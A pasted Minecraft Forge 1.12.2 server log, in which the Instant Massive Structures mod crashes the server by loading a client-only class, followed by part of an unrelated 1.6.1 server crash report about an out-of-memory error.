[FML]: Bar Step: Construction - iChunUtil took 0.044s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod imsm [14:28:03] [Server thread/TRACE] [FML]: Mod imsm is using network checker : Accepting version 1.12 [14:28:03] [Server thread/TRACE] [FML]: Testing mod imsm to verify it accepts its own version in a remote connection [14:28:03] [Server thread/TRACE] [FML]: The mod imsm accepts its own version (1.12) [14:28:03] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into imsm [14:28:03] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for imsm [14:28:03] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for modid.imsm.core.EventHandler for mod imsm [14:28:03] [Server thread/ERROR] [FML]: An error occurred trying to load an EventBusSubscriber modid.imsm.core.EventHandler for modid imsm java.lang.NoClassDefFoundError: net/minecraft/client/multiplayer/WorldClient at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) [AutomaticEventSubscriber.class:?] at net.minecraftforge.fml.common.FMLModContainer.constructMod(FMLModContainer.java:612) [FMLModContainer.class:?] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_232] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_232] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_232] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_232] at com.google.common.eventbus.Subscriber.invokeSubscriberMethod(Subscriber.java:91) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$SynchronizedSubscriber.invokeSubscriberMethod(Subscriber.java:150) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$1.run(Subscriber.java:76) [minecraft_server.1.12.2.jar:?] at com.google.common.util.concurrent.MoreExecutors$DirectExecutor.execute(MoreExecutors.java:399) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber.dispatchEvent(Subscriber.java:71) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Dispatcher$PerThreadQueuedDispatcher.dispatch(Dispatcher.java:116) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.EventBus.post(EventBus.java:217) [minecraft_server.1.12.2.jar:?] at net.minecraftforge.fml.common.LoadController.sendEventToModContainer(LoadController.java:219) [LoadController.class:?] at net.minecraftforge.fml.common.LoadController.propogateStateMessage(LoadController.java:197) [LoadController.class:?] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_232] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_232] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_232] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_232] at com.google.common.eventbus.Subscriber.invokeSubscriberMethod(Subscriber.java:91) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$SynchronizedSubscriber.invokeSubscriberMethod(Subscriber.java:150) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$1.run(Subscriber.java:76) [minecraft_server.1.12.2.jar:?] at com.google.common.util.concurrent.MoreExecutors$DirectExecutor.execute(MoreExecutors.java:399) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber.dispatchEvent(Subscriber.java:71) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Dispatcher$PerThreadQueuedDispatcher.dispatch(Dispatcher.java:116) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.EventBus.post(EventBus.java:217) [minecraft_server.1.12.2.jar:?] at net.minecraftforge.fml.common.LoadController.distributeStateMessage(LoadController.java:136) [LoadController.class:?] at net.minecraftforge.fml.common.Loader.loadMods(Loader.java:595) [Loader.class:?] at net.minecraftforge.fml.server.FMLServerHandler.beginServerLoading(FMLServerHandler.java:98) [FMLServerHandler.class:?] at net.minecraftforge.fml.common.FMLCommonHandler.onServerStart(FMLCommonHandler.java:333) [FMLCommonHandler.class:?] at net.minecraft.server.dedicated.DedicatedServer.func_71197_b(DedicatedServer.java:125) [nz.class:?] at net.minecraft.server.MinecraftServer.run(MinecraftServer.java:486) [MinecraftServer.class:?] at java.lang.Thread.run(Thread.java:748) [?:1.8.0_232] Caused by: java.lang.ClassNotFoundException: net.minecraft.client.multiplayer.WorldClient at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:191) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] ... 38 more Caused by: net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerException: Exception in class transformer net.minecraftforge.fml.common.asm.transformers.SideTransformer@67a056f1 from coremod FMLCorePlugin at net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:260) ~[forge.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] ... 38 more Caused by: java.lang.RuntimeException: Attempted to load class bsb for invalid side SERVER at net.minecraftforge.fml.common.asm.transformers.SideTransformer.transform(SideTransformer.java:62) ~[forge.jar:?] at net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:256) ~[forge.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] ... 38 more [14:28:03] [Server thread/ERROR] [net.minecraft.server.MinecraftServer]: Encountered an unexpected exception net.minecraftforge.fml.common.LoaderException: java.lang.NoClassDefFoundError: net/minecraft/client/multiplayer/WorldClient at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:89) ~[forge.jar:?] at net.minecraftforge.fml.common.FMLModContainer.constructMod(FMLModContainer.java:612) ~[forge.jar:?] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_232] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_232] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_232] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_232] at com.google.common.eventbus.Subscriber.invokeSubscriberMethod(Subscriber.java:91) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$SynchronizedSubscriber.invokeSubscriberMethod(Subscriber.java:150) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$1.run(Subscriber.java:76) ~[minecraft_server.1.12.2.jar:?] at com.google.common.util.concurrent.MoreExecutors$DirectExecutor.execute(MoreExecutors.java:399) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber.dispatchEvent(Subscriber.java:71) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Dispatcher$PerThreadQueuedDispatcher.dispatch(Dispatcher.java:116) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.EventBus.post(EventBus.java:217) ~[minecraft_server.1.12.2.jar:?] at net.minecraftforge.fml.common.LoadController.sendEventToModContainer(LoadController.java:219) ~[forge.jar:?] at net.minecraftforge.fml.common.LoadController.propogateStateMessage(LoadController.java:197) ~[forge.jar:?] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_232] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_232] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_232] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_232] at com.google.common.eventbus.Subscriber.invokeSubscriberMethod(Subscriber.java:91) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$SynchronizedSubscriber.invokeSubscriberMethod(Subscriber.java:150) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$1.run(Subscriber.java:76) ~[minecraft_server.1.12.2.jar:?] at com.google.common.util.concurrent.MoreExecutors$DirectExecutor.execute(MoreExecutors.java:399) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber.dispatchEvent(Subscriber.java:71) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Dispatcher$PerThreadQueuedDispatcher.dispatch(Dispatcher.java:116) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.EventBus.post(EventBus.java:217) ~[minecraft_server.1.12.2.jar:?] at net.minecraftforge.fml.common.LoadController.distributeStateMessage(LoadController.java:136) ~[LoadController.class:?] at net.minecraftforge.fml.common.Loader.loadMods(Loader.java:595) ~[Loader.class:?] at net.minecraftforge.fml.server.FMLServerHandler.beginServerLoading(FMLServerHandler.java:98) ~[FMLServerHandler.class:?] at net.minecraftforge.fml.common.FMLCommonHandler.onServerStart(FMLCommonHandler.java:333) ~[FMLCommonHandler.class:?] at net.minecraft.server.dedicated.DedicatedServer.func_71197_b(DedicatedServer.java:125) ~[nz.class:?] at net.minecraft.server.MinecraftServer.run(MinecraftServer.java:486) [MinecraftServer.class:?] at java.lang.Thread.run(Thread.java:748) [?:1.8.0_232] Caused by: java.lang.NoClassDefFoundError: net/minecraft/client/multiplayer/WorldClient at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) ~[AutomaticEventSubscriber.class:?] ... 32 more Caused by: java.lang.ClassNotFoundException: net.minecraft.client.multiplayer.WorldClient at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:191) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) ~[AutomaticEventSubscriber.class:?] ... 32 more Caused by: net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerException: Exception in class transformer net.minecraftforge.fml.common.asm.transformers.SideTransformer@67a056f1 from coremod FMLCorePlugin at net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:260) ~[forge.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) ~[AutomaticEventSubscriber.class:?] ... 32 more Caused by: java.lang.RuntimeException: Attempted to load class bsb for invalid side SERVER at net.minecraftforge.fml.common.asm.transformers.SideTransformer.transform(SideTransformer.java:62) ~[forge.jar:?] at net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:256) ~[forge.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) ~[AutomaticEventSubscriber.class:?] ... 32 more [14:28:03] [Server thread/ERROR] [net.minecraft.server.MinecraftServer]: This crash report has been saved to: /aternos/server/./crash-reports/crash-2019-12-21_14.28.03-server.txt [14:28:03] [Server thread/INFO] [net.minecraft.server.MinecraftServer]: Stopping server [14:28:03] [Server thread/INFO] [net.minecraft.server.MinecraftServer]: Saving worlds [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod minecraft [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod minecraft [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Minecraft took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod mcp [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod mcp [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Minecraft Coder Pack took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod FML [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod FML [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Forge Mod Loader took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod forge [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod forge [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Minecraft Forge took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod techguns_core [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod techguns_core [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Techguns Core took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod craftstudioapi [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod craftstudioapi [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - CraftStudio API took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod animania [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod animania [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Animania took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod betteranimalsplus [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod betteranimalsplus [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Better Animals Plus took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod bookworm [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod bookworm [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Bookworm API took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod k4lib [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod k4lib [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - K4Lib took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod colorchat [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod colorchat [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - ColorChat took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod cw [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod cw [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Creature Wisperer took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod dragonmounts [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod dragonmounts [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Dragon Mounts took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod extragems [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod extragems [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - ExtraGems took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod horse_colors [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod horse_colors [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Realistic Horse Genetics took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod llibrary [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod llibrary [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - LLibrary took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod iceandfire [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod iceandfire [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Ice and Fire took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod ichunutil [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod ichunutil [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - iChunUtil took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod imsm [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod imsm [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Instant Massive Structures Mod took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod jei [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod jei [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Just Enough Items took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod landmanager [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod landmanager [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Land Manager took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod malisiscore [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod malisiscore [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - MalisisCore took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod malisisdoors [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod malisisdoors [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - MalisisDoors took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod mowziesmobs [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod mowziesmobs [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Mowzie's Mobs took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod sereneseasons [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod sereneseasons [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Serene Seasons took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod spartanweaponry [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod spartanweaponry [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Spartan Weaponry took 0.001s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod spartanfire [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod spartanfire [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Spartan Fire took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod spartanshields [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod spartanshields [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Spartan Shields took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod teamup [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod teamup [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Team Up took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod techguns [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod techguns [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Techguns took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod ultimate_unicorn_mod [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod ultimate_unicorn_mod [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Wings, Horns, and Hooves, the Ultimate Unicorn Mod! took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod wings [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod wings [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Wings took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod mowzies_wings [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod mowzies_wings [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Mowzie's Wings took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod zawa [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod zawa [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Zoo and Wild Animals Mod: Rebuilt took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod claimitapi [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod claimitapi [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - ClaimIt API took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod claimit [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod claimit [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - ClaimIt took 0.000s [14:28:04] [Server thread/DEBUG] [FML]: BThe state engine was in incorrect state PREINITIALIZATION and forced into state SERVER_STOPPED. Errors may have been discarded.
Teehee123123
---- Minecraft Crash Report ---- // Ooh. Shiny. Time: 7/4/13 11:37 PM Description: Ticking entity java.lang.OutOfMemoryError: Java heap space at net.minecraft.server.v1_6_R1.Packet56MapChunkBulk.<init>(Packet56MapChunkBulk.java:50) at net.minecraft.server.v1_6_R1.EntityPlayer.l_(EntityPlayer.java:200) at net.minecraft.server.v1_6_R1.World.entityJoinedWorld(World.java:1354) at net.minecraft.server.v1_6_R1.World.playerJoinedWorld(World.java:1335) at net.minecraft.server.v1_6_R1.World.tickEntities(World.java:1223) at net.minecraft.server.v1_6_R1.WorldServer.tickEntities(WorldServer.java:480) at net.minecraft.server.v1_6_R1.MinecraftServer.t(MinecraftServer.java:573) at net.minecraft.server.v1_6_R1.DedicatedServer.t(DedicatedServer.java:226) at net.minecraft.server.v1_6_R1.MinecraftServer.s(MinecraftServer.java:487) at net.minecraft.server.v1_6_R1.MinecraftServer.run(MinecraftServer.java:420) at net.minecraft.server.v1_6_R1.ThreadServerApplication.run(SourceFile:582) A detailed walkthrough of the error, its code path and all known details is as follows: --------------------------------------------------------------------------------------- -- Head -- Stacktrace: at net.minecraft.server.v1_6_R1.Packet56MapChunkBulk.<init>(Packet56MapChunkBulk.java:50) at net.minecraft.server.v1_6_R1.EntityPlayer.l_(EntityPlayer.java:200) at net.minecraft.server.v1_6_R1.World.entityJoinedWorld(World.java:1354) at net.minecraft.server.v1_6_R1.World.playerJoinedWorld(World.java:1335) -- Entity being ticked -- Details: Entity Type: null (net.minecraft.server.v1_6_R1.EntityPlayer) Entity ID: 28621871 Entity Name: BigMike65 Entity's Exact location: -1819.72, 63.00, -1800.48 Entity's Block location: World: (-1820,63,-1801), Chunk: (at 4,3,7 in -114,-113; contains blocks -1824,0,-1808 to -1809,255,-1793), Region: (-4,-4; contains chunks -128,-128 to -97,-97, blocks -2048,0,-2048 to -1537,255,-1537) Entity's Momentum: 0.00, 0.00, 0.00 Stacktrace: at net.minecraft.server.v1_6_R1.World.tickEntities(World.java:1223) at net.minecraft.server.v1_6_R1.WorldServer.tickEntities(WorldServer.java:480) -- Affected level -- Details: Level name: spawn All players: 1 total; [EntityPlayer['BigMike65'/28621871, l='spawn', x=-1819.72, y=63.00, z=-1800.48](BigMike65 at -1819.724397379612,63.0,-1800.4823723305442)] Chunk stats: ServerChunkCache: 697 Drop: 0 Level seed: -5786777329714971956 Level generator: ID 00 - default, ver 1. Features enabled: true Level generator options: Level spawn location: World: (-2,64,190), Chunk: (at 14,4,14 in -1,11; contains blocks -16,0,176 to -1,255,191), Region: (-1,0; contains chunks -32,0 to -1,31, blocks -512,0,0 to -1,255,511) Level time: 1302977 game time, 1334799 day time Level dimension: 0 Level storage version: 0x04ABD - Anvil Level weather: Rain time: 76667 (now: false), thunder time: 106288 (now: false) Level game mode: Game mode: survival (ID 0). Hardcore: false. Cheats: false Stacktrace: at net.minecraft.server.v1_6_R1.MinecraftServer.t(MinecraftServer.java:573) at net.minecraft.server.v1_6_R1.DedicatedServer.t(DedicatedServer.java:226) at net.minecraft.server.v1_6_R1.MinecraftServer.s(MinecraftServer.java:487) at net.minecraft.server.v1_6_R1.MinecraftServer.run(MinecraftServer.java:420) at net.minecraft.server.v1_6_R1.ThreadServerApplication.run(SourceFile:582) -- System Details -- Details: Minecraft Version: 1.6.1 Operating System: Linux (amd64) version 2.6.32-042stab076.5 Java Version: 1.7.0_07, Oracle Corporation Java VM Version: Java HotSpot(TM) 64-Bit Server VM (mixed mode), Oracle Corporation Memory: 69813448 bytes (66 MB) / 972357632 bytes (927 MB) up to 972357632 bytes (927 MB) JVM Flags: 1 total; -Xmx1024M AABB Pool Size: 14834 (830704 bytes; 0 MB) allocated, 3 (168 bytes; 0 MB) used Suspicious classes: $Proxy3, $Proxy5, $Proxy16, ...[com.avaje.ebean.EbeanServer], [com.avaje.ebean.config.dbplatform.DatabasePlatform, SQLitePlatform], [com.mysql.jdbc.NonRegisteringDriver, Driver, StringUtils, ...], [com.mysql.jdbc.exceptions.MySQLTransientException, MySQLTimeoutException, MySQLNonTransientException, ...], [com.mysql.jdbc.exceptions.jdbc4.CommunicationsException], [com.mysql.jdbc.log.Log, StandardLogger, NullLogger, ...], [com.mysql.jdbc.util.LRUCache, ReadAheadInputStream], [net.minecraft.server.v1_6_R1.ICommandListener, 